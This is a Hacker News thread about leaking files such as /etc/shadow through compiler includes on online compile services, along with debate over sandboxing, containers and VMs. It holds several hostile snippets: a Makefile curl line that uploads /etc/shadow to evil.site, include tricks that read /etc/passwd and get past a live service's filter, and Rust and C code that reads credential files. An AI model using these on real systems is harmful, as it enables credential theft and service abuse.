
#include &lt;/etc/shadow&gt; - pcr910303
https://blog.hboeck.de/archives/898-include-etcshadow.html
======
zonidjan
> Recently I saw a tweet where someone mentioned that you can include
> /dev/stdin in C code compiled with gcc. This is, to say the very least,
> surprising.

You can also call something to read from stdin in your Makefile, or read from
stdin in your executable.

> But is it equally obvious that the compiler also needs to be sandboxed?

Yes. Why wouldn't it be sandboxed?!

> I even found one service that ... showed me the hash of the root password.

Wow. That's bad. Of course, that's not a compiler issue, but rather a system
administration issue. /etc/shadow should not be world-readable.

> This effectively means this service is running compile tasks as root.

That's quite a leap from 'I can read /etc/shadow' to 'I am root'.

> Interestingly, including pseudo-files from /proc does not work. It seems gcc
> treats them like empty files.

More accurately, it seems the system treats them like empty files. gcc does a
stat on the file, which returns 'regular file' and 'size=0'. gcc therefore
calls read() with a length of 0 bytes.

~~~
himinlomax
> That's quite a leap from 'I can read /etc/shadow' to 'I am root'.

Of all the leaps in that post, that's the least leapy thing. `shadow` exists
precisely so that only `root` can read its content, whereas before said
content resided in `passwd` which _needs_ to be readable by all.

I see only two possibilities here. Either the people who set up that compile
service are complete morons and run said compile as actual root in an actual
VM; OR, more likely, shit runs in a container with an _apparent_ id of 0 but
no actual privilege outside its temporary environment.

~~~
londons_explore
Running as actual root in a VM would be my preferred design. There are lots of
times a user might need to apt-get some dependencies for their compile job.
Let an attacker do whatever they like in the VM. Then delete the VM between
users.

Docker containers aren't really a good security barrier, and a VM is much
better (although VM escape vulnerabilities aren't unheard of).

~~~
rbanffy
There are many ways a hostile program inside a VM can escape it and run code
on the host or, at least, negatively affect it.

~~~
arpa
Please do share how can one escape qemu.

~~~
jacquesm
At your service:

[https://www.techrepublic.com/article/vm-escape-flaw-in-
qemu-...](https://www.techrepublic.com/article/vm-escape-flaw-in-qemu-allows-
for-arbitrary-code-execution-denial-of-service/)

~~~
arpa
Beautiful! Thank you.

------
willvarfar
Its interesting tangent that the "confused deputy" security problem was first
identified in a compiler, back in the days when people paid to have their code
compiled. This led towards "capabilities" and lots of operating system design
that is now in vogue again.

[https://en.wikipedia.org/wiki/Confused_deputy_problem](https://en.wikipedia.org/wiki/Confused_deputy_problem)

(this #include problem can be thought of as a confused deputy vulnerability.
The compiler shouldn't have the capability to read the password file, and if
it did, it is a confused deputy to be wielding that cap on behalf of its user,
instead of wielding the caps it gets from the user).

Its sad that the links to Norm Hardy's original write-up all seem broken.

[https://web.archive.org/web/20031205034929/http://www.cis.up...](https://web.archive.org/web/20031205034929/http://www.cis.upenn.edu/~KeyKOS/ConfusedDeputy.html)

Norm was a brilliant mind. He was talking and thinking about capabilities
right up until the end.

~~~
chmaynard
Henry Levy's 1984 book "Capability-Based Computer Systems" \-- a survey and
description of early object-based and capability-based processors and
operating systems -- is available here:

[https://homes.cs.washington.edu/~levy/capabook/index.html](https://homes.cs.washington.edu/~levy/capabook/index.html)

------
nneonneo
Compiling untrusted code is already a dangerous affair. Compilers are not
audited for security vulnerabilities, and many versions of popular compilers
have contained memory corruption bugs or similar issues that could be
leveraged to gain code execution. Many services that compile untrusted code
will run the resulting binaries too, which _definitely_ requires a sandbox or
disposable VM - at which point you may as well throw your whole compiler in
the sandbox/VM too.

I find it more likely that the "root" user mentioned in this post is the root
user of some disposable Docker container, which would be the right way to run
a compiler-as-a-service.

~~~
mehrdadn
> I find it more likely that the "root" user mentioned in this post is the
> root user of some disposable Docker container, which would be the right way
> to run a compiler-as-a-service.

My understanding is that Docker isn't something you use if you really want
security.

~~~
dharmab
You're being downvoted but you're right- Docker really isn't a good choice for
running untrusted and potentially hostile code, since a container breakout
zero-day pretty much immediately compromises the host OS. (Even with user
namespace remapping a breakout still gives enough access to get up to
shenanigans.)

At the minimum a disposable VM using something like KVM/QEMU/Firecracker would
be a start. That way you have kernel isolation down to the hardware which is
much less likely to be exploitable.

~~~
anonymousDan
Can you elaborate? Doesn't a KVM bug result in pretty much the same thing? Or
is the argument that this is less likely?

~~~
willvarfar
The attack surface of a container is massive.

The attack surface of a hypervisor is tiny, in comparison.

There was 'interesting' research out of IBM a couple of years ago where they
claimed they found that containers with good seccomp profiles etc were 'as
secure as' a VM. Well, nobody goes around believing that.

I recall once asking Joanna Rutkowska this same question, I think just days
after she had outlined some pretty glaring security issues in the Xen
hypervisor. She pointed out that if we were finding (and fixing) security
issues in the 2K (or 20K, or however big the trusted-computing-base of Xen is,
I forget) then imagine the number of issues laying unfound in your modern
kernel...?

~~~
soraminazuki
> There was 'interesting' research out of IBM a couple of years ago where they
> claimed they found that containers with good seccomp profiles etc were 'as
> secure as' a VM. Well, nobody goes around believing that.

You're leaving out a key detail of that research. They never said that tuning
seccomp profiles to secure existing containerized apps is practical or
effective. In fact, quite the opposite. IIRC, what they actually did is to
create a hypervisor-like narrow interface on top of containers by restricting
the available system calls to closely resemble KVM's hypercall interface. This
design allowed the authors to reduce the size of the trusted computing base
while avoiding overheads associated with VMs, though it would also limit the
ability to run unmodified Linux binaries. Overall, I found it to be an
interesting alternative to containers or VMs.

------
didymospl
On a related note, the XML standard defines a way to include external files in
the document. If you come across a service which replies with a part of your
request(e.g. validation errors) and uses XML parser with this feature turned
on, which is true by default in many cases, this can be used to read arbitrary
files. I wonder how many poorly maintained enterprise systems systems are
vulnerable to that.

[https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Pr...](https://www.owasp.org/index.php/XML_External_Entity_\(XXE\)_Processing)

~~~
amlozano
About a year and a half ago it was a very common vulnerability to find when
doing web application assessments. Especially if uploading Excel spreadsheets
was somehow involved.

Its less common now that most major parsers are turning this feature off by
default though.

------
slimsag
> is it equally obvious that the compiler also needs to be sandboxed?

I would NEVER expect that one can run a C or C++ compiler on arbitrary input
safely. There are so many potential attack vectors and, unless the authors
have gone out of their way extensively to prevent them, it seems very likely
they would suffer from buffer overflows, leaking memory to callers, and in the
worst case arbitrary code execution.

I doubt any one of these websites is safe unless using very strict validation
or disposable VMs/hardware in some way.

------
Someone1234
This seems contrived. So you need to send someone "evil" code that they won't
read, have them compile it as root, and then ship you the resulting binary.

I wouldn't read too much into it "working" with some kind of compile/show
service, as they could have been using non-persistent containers.

Ultimately this seems like social engineering i.e. "Tricking privileged users
into doing <bad thing> as root." Might have well ask them to cat /etc/shadow
and email you the "nonsense" it prints.

[https://devblogs.microsoft.com/oldnewthing/20180227-00/?p=98...](https://devblogs.microsoft.com/oldnewthing/20180227-00/?p=98115)

~~~
jdsully
People compile unread code all the time. Having them send the binary back is a
little unusual though. But nothing says the resulting binary can’t open its
own socket when its first run. There are lots of exfiltration options.

Getting them to run make as root would be pretty easy. People are already
conditioned to run “sudo make install”.

A good mitigation is to install software by user so root privileges aren’t
needed at any step of the process.

~~~
jandrese
Or you could include

    
    
      curl -F shadow=@/etc/shadow https://evil.site/upload.cgi
    

as one of the commands under the "install" target in the Makefile. That way
you aren't dependent on the other guy running his C compiler as root (why?!).
Just make sure the Makefile is some horribly mangled mess built by ./configure
or something so nobody will be tempted to read it.

~~~
jdsully
Curl is suspicious, people might wonder what exactly its doing. Whereas nobody
has the time to read and understand C/C++ code.

~~~
jandrese
It will almost certainly take longer for someone to read your Makefile to
notice that weird curl line than it would be for someone to try to compile
your code as a regular user and have the compiler spit out an error because it
can't read the include file "/etc/shadow".

~~~
jdsully
Have make suppress error messages for the .o including it. You can have
another file implement any missing symbols with a weak attribute so the linker
will not complain if your evil object file fails to be built.

If you go with C++ then you have an entire Turing complete language executed
at compile time to do whatever nasty thing your heart desires.

I agree there are much easier alternatives... but it's an intellectually
interesting attack vector.

------
fwsgonzo
You can compile and execute C/C++ code in my little hobby project:
[https://droplet.fwsnet.net/](https://droplet.fwsnet.net/)

It's something I use to measure certain things, like how many instructions
does a C++ exception add etc.

It's run in a docker container, and I think I strip out any slashes from
includes. I'm pretty sure the container is not executing stuff as root as
well. Still, probably not bulletproof.

~~~
shawabawa3
You aren't stripping slashes.

I tried `#include </dev/urandom>` and it eventually crashes the container
failing to allocate memory (looks like they have a 4GB limit?)

~~~
fwsgonzo
Haha, that's clever. Yes, it's a 4GB limit. Guess I'll try to fix that again.
EDIT: fixed

~~~
ajor
Still some workarounds to the slash-stripping:

    
    
      #include "\
      /etc/passwd"
    
      program221/code.cpp:1:11: warning: backslash-newline at end of file
          1 | #include "\
            |            
      In file included from program221/code.cpp:2:
      /etc/passwd:1:5: error: found ':' in nested-name-specifier, expected '::'
          1 | root:x:0:0:root:/root:/bin/bash
            |     ^
            |     ::
      /etc/passwd:1:1: error: 'root' does not name a type
          1 | root:x:0:0:root:/root:/bin/bash
            | ^~~~
    
    

Is it possible to restrict the compiler's access to only files in
"/usr/include" instead? Seems like it'd be hard to cover every case with just
pattern matching.

~~~
fwsgonzo
It would be awesome if you could place restrictions on the compiler, but I
don't know of any such features atm. Still, the compilation happens in the
container (which is just a default Ubuntu image with a cross compiler in it).
I don't know how much information there is to disclose. Not taking it lightly
though, I guess I will have to find a way to really handle the preprocessor
stuff, but I still want people to be able to include system headers.

------
judge2020
Maybe these services run the compilation in a docker container? shadow and
lsb-release exist in many images.

~~~
jcrawfordor
Untrusted code execution in a Docker container is not exactly safe. Even if
the runtime and container are optimally configured for security purposes
(uncommon), container runtimes are not designed or particularly thoroughly
evaluated for use as a security solution.

------
kbumsik
Virtually all Linux distributions sandbox their package build system using
something like fakeroot.

Before the security reason the OP mentions, they don't want to screw the build
tasks because of the host environment they are running on, or they don't want
to screw the host directories when they make mistakes with installation paths.

~~~
cesarb
fakeroot is not a sandbox, it's just a way to have tasks which normally expect
to run as root (like setting file permissions during "make install", or
creating a .tar.gz with the correct permissions) work without root. IIRC, it
works through LD_PRELOAD, and it's very easy to bypass (just unset that
environment variable).

------
julien_p
This talk
[https://talks.golang.org/2019/playground-v3/playground-v3.sl...](https://talks.golang.org/2019/playground-v3/playground-v3.slide#1)
on the golang playground has some details on its security considerations.

------
jakeogh
Gentoo's build system is sandboxed by default:
[https://wiki.gentoo.org/wiki/Project:Sandbox](https://wiki.gentoo.org/wiki/Project:Sandbox)

~~~
asveikau
This reminds me that in say, a *BSD ports tree, you end up pulling tarballs
from the internet, extracting them and running make. (Granted there can be a
hash on them so that's some verification)

But an exploit using that would likely sooner just write something malicious
in the Makefile if it wants to compromise the build machine. Targeting the
compiler for such a goal seems like it would be harder.

~~~
trasz
There’s the mandatory hash, but generally speaking: that’s how you build
software on Unix/Linux; there’s no way around it. You can do what Poudriere
automatically does on FreeBSD, which is doing the whole thing in a dedicated
jail.

------
eb0la
I was wondering if it there is a _practical_ attack that stores the content of
a file into a string, char array, etc..

Looks that it's not that easy unless the file is formatted in a special way:

[https://stackoverflow.com/questions/410980/include-a-text-
fi...](https://stackoverflow.com/questions/410980/include-a-text-file-in-a-c-
program-as-a-char)

(sorry for the stack overflow link - my C/C+ is rusty to say politely)

~~~
cesarb
If the output from the compiler is a binary object (.o) instead of the
assembly (.s), I'd use gcc's inline assembly extension to call the GNU
assembly ".incbin" directive (plus the necessary directives to put it in the
correct section with an exported symbol).

------
jedisct1
And in Rust you can use the `include_str!()` macro to include any file.

Works well on the Rust playground and pretty much everywhere else:
[https://play.rust-
lang.org/?version=stable&mode=debug&editio...](https://play.rust-
lang.org/?version=stable&mode=debug&edition=2018&gist=856359950728b28e9e7ea98a81d15b0b)

If procedural macros are available, they can also be abused to run arbitrary
code.

~~~
fnord77
and if you look at this file "/proc/1/cgroup"

you'll see that it is isolated in a docker container

------
notaplumber
This isn't limited to C. If you run compiles as root, game over.

    
    
        fn main() {
            let shadow = include_str!("/etc/shadow");
            println!("{}", shadow);
        }
    

That's why OpenBSD ports clusters uses unprivileged users for fetching and
building (with no network access/chroot).

------
jdoerfert
The godbolt compiler explorer, which is awesome btw, had to tackle all sorts
of problems like this. I think there is a talk on YouTube that goes into some
detail.

------
dylan-m
Sandboxing your build is good practice anyway, for this and many other reasons
:) For bonus points, build each major component in its own sandbox and
integrate them later. That allows you to tightly control your dependencies
(which makes your project tidier and makes incremental builds faster), and it
paves the way to reproducible builds.

------
lelf
> _you can include /dev/stdin in C code compiled with gcc. This is, to say the
> very least, surprising._

Why?

------
danmg
If you can include /etc/shadow you can also just cat it. curl|sh software
installations are far more of a threat than potentially a malicious c per-
processor statement.

------
m463
You used to be able to click on a link like file:///etc/passwd and it would
show up in the browser.

------
fnord77
> and showed me the hash of the root password. This effectively means this
> service is running compile tasks as root.

Or in a docker container.

------
shrimpx
The author thinks they stumbled onto a discovery:

> There are plenty of webpages that offer online services where you can type
> in C code and run it. It is obvious that such systems are insecure if the
> code running is not sandboxed in some way. But is it equally obvious that
> the compiler also needs to be sandboxed?

Yes it's equally and painfully obvious.

------
dward
See also std::embed.

------
Ericson2314
No surprise, coming from Nix!

~~~
soraminazuki
Nix won't help you secure your system from untrusted code written by internet
script kiddies. It's a build tool and simply isn't designed for such things.

~~~
Ericson2314
Um, yes it will? Linux namespeaces are linux namespaces; if you don't trust
them we have bigger problems than Nix.

It will certainly make sure the skids cannot do `#include </etc/password>` and
get useful information, for example.

~~~
soraminazuki
That only works if you can turn your entire web application into a Nix build
process, which is unrealistic at best. Nix is wonderful as a build tool, but
it's quite a stretch to assume it's adequate for securing running
applications. Plain containers, or even better, VMs are more suited for that
purpose.

~~~
Ericson2314
Your unsandboxed web application can perform a sandboxed nix build based on
user input used in a very specific way. This contains the dangerous bit.

------
mulle_nat
Why would '/' ever be in the searchpath of the compiler ? This looks like a
preprocessor bug to me.

~~~
penagwin
Counter point, why should '/' be invalid? I'm not saying it's good practice or
that the compiler shouldn't warn you, but "/home/me/path_to_thing/file" is a
perfectly valid path.

~~~
mulle_nat
An absolute path is a valid path on the filesystem. But the compiler should be
searching according to its implementation dependent search paths, when doing
<>. Not prepending the searchpath (and not rejecting) for absolute paths is an
implementation choice I personally think is wrong for a C compiler. But it may
be able to do so I guess as you can also do "..".

------
pvtmert
\- most of them (actually) containers

\- one can easily do:

``` char buf[8192]; fread(buf, sizeof(buf), 1, fopen("/etc/shadow", "rb"));
printf(buf); ```

also reading 'shadow' is not do that much since its salted and hashed. strong
password (10 chars) will take many months and years.

you can do more harm with actual 'code' which you may compile on the service

~~~
mkl
> one can easily do:

> char buf[8192]; fread(buf, sizeof(buf), 1, fopen("/etc/shadow", "rb"));
> printf(buf);

The code is compiled on the server, but it doesn't run there.

